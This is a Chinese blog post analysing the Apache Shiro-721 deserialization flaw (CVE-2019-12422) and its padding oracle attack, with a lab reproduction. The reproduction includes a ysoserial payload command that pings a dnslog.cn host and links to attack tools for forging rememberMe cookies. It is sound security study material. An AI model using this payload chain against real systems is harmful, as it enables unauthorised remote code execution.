当前位置: 首页 > news >正文

Shiro-721—漏洞分析(CVE-2019-12422)

文章目录

  • Padding Oracle Attack 原理
    • PKCS5填充
    • 怎么爆破攻击
  • 漏洞原理
  • 源码分析
  • 漏洞复现

本文基于shiro550漏洞基础上分析,建议先看上期内容:
https://blog.csdn.net/weixin_60521036/article/details/142373353

Padding Oracle Attack 原理

网上看了很多,感觉写的对我们这种对密码学不敏感的人来说非常不友好,毕竟不是所有术语都能看懂,所以我总结了一下Padding Oracle Attack 的攻击原理。

PKCS5填充

padding有很多种方式,shiro使用了PKCS5的填充方式:
如下图所示(找规律能找出来么?):
在这里插入图片描述
意思就是:
约定 :*表示任意数据,每个数据块为8字节。
当你数据为 ** ** ** ** ** ** ** ,7字节差一字节成一块,那么为了保持数据一块一块的,就需要填充一个数据,该数据根据PKCS5规则,因为差一个字节,所以填充01。
上图中接着填充 02 02 的意思就是他有6字节数据 ** ** ** ** ** ** ,还差俩字节,所以用02 02来填充,02数值是告诉你差多少字节,而填充的字节个数和数值是一样的。(是不是有点摸着门道了?)
解释到这规律应该能看出来了,不用再过多理解。

ps:补充,当你刚好8字节满了的时候,就给你另外开一个数据块填充:(如下所示)

** ** ** ** ** ** ** ** 08 08 08 08 08 08 08 08

怎么爆破攻击

首先我们需要知道怎么判断我们padding数据正确:
在验证 Padding 失败时的返回信息应该不同,其中 PKCS5Padding#unpad 方法对数据的填充格式进行判断,有问题会返回 -1;
当返回值小于0时,调用onRememberedPrincipalFailure 移除 rememberMe cookie并添加 deleteMe

其实这里只需要知道若攻击失败了就会返回deleteMe即可。。。​
在这里插入图片描述

这个padding攻击涉及的东西好多,本人实在是无法解释清楚,比如参考文章中有写:前一块密文是后一块密文的IV,通过异或中间值,得到明文,这个也是一个重要信息,但是本篇文章主要解释漏洞的发生最主要的原因,就不去深究更多的加解密的攻击。

漏洞原理

原理其实很简单,shiro解决了密钥硬编码问题后,使用了AES-CBC加密方式,也就是说其他加解密过程没有变,但是漏洞的原因是因为加密能够被Padding Oracle Attack ,也就是说我们不用找到密钥就能够直接修改rememberMe字段,而这里需要注意的细节就是:
需要通过已知 RememberMe 密文 使用 Padding Oracle Attack 一点点爆破来达到篡改和构造恶意的反序列化密文来触发反序列化漏洞。
这也说明了为啥一定要有合法通过认证的cookie才能进行攻击,因为你要走到让他padding的那一步需要合法的身份认证

不知各位道友搞懂了没,总之我的看法就是:
因为加密算法可被攻击的原因导致可爆破解密后篡改数据就这么简单的理解即可。

在这里插入图片描述

源码分析

偷个懒直接看我之前的文章shiro550 的源码分析即可
https://blog.csdn.net/weixin_60521036/article/details/142373353
721主要的解密过程没有变,只要你成功padding进去了,就能走到反序列化那一步,个人感觉不用理解那么透彻,本身这个漏洞也挺鸡肋,需要登陆成功的身份认证cookie才能攻击。
看下面的调用栈就知道和shiro550是一样的了,就是加解密那块改了。
在这里插入图片描述

漏洞复现

使用vulfocus靶场复现


话不多说,直接上最快捷的道具,后面再讲解另外一种抓包方式的攻击
下面这个工具在shiro550也能用,雀氏挺牛13的:
https://github.com/SummerSec/ShiroAttack2
在这里插入图片描述

接着直接爆破利用链即可
在这里插入图片描述

直接就能执行命令了
在这里插入图片描述


接着下面介绍如何通过已知cookie,生成payload,手动修改cookie进行攻击。
在这里插入图片描述

登录记得勾选Remember Me
在这里插入图片描述
抓包放包,如果你密码正确,那么就会返回一个rememberMe字段的cookie,接着就是使用该cookie进行padding攻击了。
在这里插入图片描述

  • 首先使用Java反序列化工具 ysoserial 生成 Payload:
    java -jar ysoserial.jar CommonsBeanutils1 "ping 9ck71c.dnslog.cn" > payload.class
    在这里插入图片描述

  • 通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
    https://github.com/inspiringz/Shiro-721 # 暴破AES密钥的脚本

    注意: 此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

    使用你刚刚用cookie生成的payload.class
    在这里插入图片描述

  • 漫长等待后,拿到pad数据后直接丢到cookie上面
    在这里插入图片描述
    接着看你自己的dnslog日志即可查看是否攻击成功了 。


参考文章:
https://xz.aliyun.com/t/11633
https://www.anquanke.com/post/id/193165

相关文章:

Shiro-721—漏洞分析(CVE-2019-12422)

文章目录 Padding Oracle Attack 原理PKCS5填充怎么爆破攻击 漏洞原理源码分析漏洞复现 本文基于shiro550漏洞基础上分析,建议先看上期内容: https://blog.csdn.net/weixin_60521036/article/details/142373353 Padding Oracle Attack 原理 网上看了很多…...

【Python语言初识(一)】

一、python简史 1.1、python的历史 1989年圣诞节:Guido von Rossum开始写Python语言的编译器。1991年2月:第一个Python编译器(同时也是解释器)诞生,它是用C语言实现的(后面),可以调…...

Python 中的方法解析顺序(MRO)

在 Python 中,MRO(Method Resolution Order,方法解析顺序)是指类继承体系中,Python 如何确定在调用方法时的解析顺序。MRO 决定了在多继承环境下,Python 如何寻找方法或属性,即它会根据一定规则…...

MySQL表的内外连接

内连接 其实就是from 两个表 把笛卡尔积的表 再用where 进行条件筛选 ——之前我们写的多表查询就是内连接 基本格式: 外链接 没有向内连接那样真的把两个表连接形式一个表显示,而只是建立关系 外连接分为左链接和右链接 左链接 联合查询时候&#…...

系统架构设计师:软件架构的演化和维护

简简单单 Online zuozuo: 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo :本心、输入输出、结果 简简单单 Online zuozuo : 文章目录 系统架构设计师:软件架构的演化和维护前言软件架构演化的重要性面向对象的软件架构演…...

QT的dropEvent函数进入不了

在使用QT想实现拖拽功能的时候,发现了dropEvent没有调用运行,遂查找原因: 首先是网上都说要在dragEnterEvent里面使用event->accept(); 但我这边在出现问题之前就已经这样做了: void CanvasView::dragEnterEvent(QDragEnterEv…...

Spring Boot 入门

前言 Spring Boot 是一个开源的 Java 基础框架,用于创建独立、生产级的基于 Spring 的应用程序。它简化了基于 Spring 的应用开发,通过提供一系列的“起步依赖”来快速启动和运行 Spring 应用。本文将带你深入了解 Spring Boot 的核心概念、关键特性&am…...

LDD学习2--Scull(TODO)

《Linux Device Drivers》(LDD)书籍中的 scull(Simple Character Utility for Loading Localities)是一个用于演示 Linux 字符设备驱动程序编写的示例代码。它为理解 Linux 内核模块和字符设备驱动程序的编写提供了基础实践平台&a…...

【算法-堆排序】

堆排序是一种基于堆这种数据结构的比较排序算法,它是一种原地、不稳定的排序算法,时间复杂度为 O(n log n)。堆排序的基本思想是将数组构建成一个二叉堆,并通过反复调整堆顶和未排序部分之间的关系来实现排序。 堆的定义 堆是一种特殊的完全…...

音视频入门基础:AAC专题(4)——ADTS格式的AAC裸流实例分析

音视频入门基础:AAC专题系列文章: 音视频入门基础:AAC专题(1)——AAC官方文档下载 音视频入门基础:AAC专题(2)——使用FFmpeg命令生成AAC裸流文件 音视频入门基础:AAC…...

【第33章】Spring Cloud之SkyWalking服务链路追踪

文章目录 前言一、介绍1. 架构图2. SkyWalking APM 二、服务端和控制台1. 下载2. 解压3. 初始化数据库4. 增加驱动5. 修改后端配置6. 启动7. 访问控制台8. 数据库表 三、客户端1. 下载2. 设置java代理3. idea配置3.1 环境变量3.2 JVM参数3.3 启动日志 4. 启用网关插件 四、链路…...

如何选择OS--Linux不同Distribution的选用

写在前言: 刚写了Windows PC的不同editions的选用,趁热,把Linux不同的Distribution选用也介绍下,希望童鞋们可以了解-->理解-->深入了解-->深入理解--...以致于能掌握特定版本的Linux的使用甚者精通。……^.^…… so&a…...

cesium效果不酷炫怎么办--增加渲染器

DrawCommand 可以发挥 WebGL 全部潜力吗? 回答: Cesium 的 DrawCommand 是一个用于表示 WebGL 渲染管线中单个绘制调用的低级抽象。它封装了执行 WebGL 绘制所需的所有信息,包括着色器程序、顶点数组、渲染状态、统一变量(unifo…...

计算机网络:概述 --- 体系结构

目录 一. 体系结构总览 1.1 OSI七层协议体系结构 1.2 TCP/IP四层(或五层)模型结构 二. 数据传输过程 2.1 同网段传输 2.2 跨网段传输 三. 体系结构相关概念 3.1 实体 3.2 协议 3.3 服务 这里我们专门来讲一下计算机网络中的体系结构。其实我们之前…...

DEPLOT: One-shot visual language reasoning by plot-to-table translation论文阅读

文章链接:https://arxiv.org/abs/2308.01979http://arxiv.org/abs/2212.10505https://arxiv.org/abs/2308.01979 源码链接:https://github.com/cse-ai-lab/RealCQA 启发:two-stage方法可能是未来主要研究方向,能够增强模型可解释…...

从 HDFS 迁移到 MinIO 企业对象存储

云原生、面向 Kubernetes 、基于微服务的架构推动了对 MinIO 等网络存储的需求。在云原生环境中,对象存储的优势很多 - 它允许独立于存储硬件对计算硬件进行弹性扩展。它使应用程序无状态,因为状态是通过网络存储的,并且通过降低操作复杂性&a…...

Rust 常见问题汇总

问题1: cargo build 一直提示Blocking waiting for file lock on package cache。 在 cargo.toml 文件中添加了依赖之后,运行 cargo build 命令时,如果卡在 blocking waiting for file lock on package cache lock 这里, 后来发…...

java泛型类与泛型方法

Java泛型类和泛型方法是Java泛型编程中的重要组成部分。它们允许开发者编写类型安全且高度复用的代码。下面详细介绍泛型类和泛型方法的概念、用法和示例。 泛型类 泛型类是在类定义中使用类型参数的类,可以指定具体的类型实例化该类。这样可以确保类型安全&#…...

Android String资源文件中,空格、换行以及特殊字符如何表示

空格&#xff1a; 例&#xff1a;<string name"test">test test</string> 换行&#xff1a;\n 例&#xff1a;<string name"test">test \n test</string> tab&#xff1a;\t …...

CUDA及GPU学习资源汇总

CUDA C Programming Guide 的中文翻译版GPU中的SM和warp的关系推荐几个不错的CUDA入门教程CUDA编程入门极简教程...

基于大模型的 UI 自动化系统

基于大模型的 UI 自动化系统 下面是一个完整的 Python 系统,利用大模型实现智能 UI 自动化,结合计算机视觉和自然语言处理技术,实现"看屏操作"的能力。 系统架构设计 #mermaid-svg-2gn2GRvh5WCP2ktF {font-family:"trebuchet ms",verdana,arial,sans-…...

C++初阶-list的底层

目录 1.std::list实现的所有代码 2.list的简单介绍 2.1实现list的类 2.2_list_iterator的实现 2.2.1_list_iterator实现的原因和好处 2.2.2_list_iterator实现 2.3_list_node的实现 2.3.1. 避免递归的模板依赖 2.3.2. 内存布局一致性 2.3.3. 类型安全的替代方案 2.3.…...

css实现圆环展示百分比,根据值动态展示所占比例

代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...

shell脚本--常见案例

1、自动备份文件或目录 2、批量重命名文件 3、查找并删除指定名称的文件&#xff1a; 4、批量删除文件 5、查找并替换文件内容 6、批量创建文件 7、创建文件夹并移动文件 8、在文件夹中查找文件...

【力扣数据库知识手册笔记】索引

索引 索引的优缺点 优点1. 通过创建唯一性索引&#xff0c;可以保证数据库表中每一行数据的唯一性。2. 可以加快数据的检索速度&#xff08;创建索引的主要原因&#xff09;。3. 可以加速表和表之间的连接&#xff0c;实现数据的参考完整性。4. 可以在查询过程中&#xff0c;…...

聊聊 Pulsar:Producer 源码解析

一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台&#xff0c;以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中&#xff0c;Producer&#xff08;生产者&#xff09; 是连接客户端应用与消息队列的第一步。生产者…...

1688商品列表API与其他数据源的对接思路

将1688商品列表API与其他数据源对接时&#xff0c;需结合业务场景设计数据流转链路&#xff0c;重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点&#xff1a; 一、核心对接场景与目标 商品数据同步 场景&#xff1a;将1688商品信息…...

渲染学进阶内容——模型

最近在写模组的时候发现渲染器里面离不开模型的定义,在渲染的第二篇文章中简单的讲解了一下关于模型部分的内容,其实不管是方块还是方块实体,都离不开模型的内容 🧱 一、CubeListBuilder 功能解析 CubeListBuilder 是 Minecraft Java 版模型系统的核心构建器,用于动态创…...

vue3 定时器-定义全局方法 vue+ts

1.创建ts文件 路径&#xff1a;src/utils/timer.ts 完整代码&#xff1a; import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...

今日科技热点速览

&#x1f525; 今日科技热点速览 &#x1f3ae; 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售&#xff0c;主打更强图形性能与沉浸式体验&#xff0c;支持多模态交互&#xff0c;受到全球玩家热捧 。 &#x1f916; 人工智能持续突破 DeepSeek-R1&…...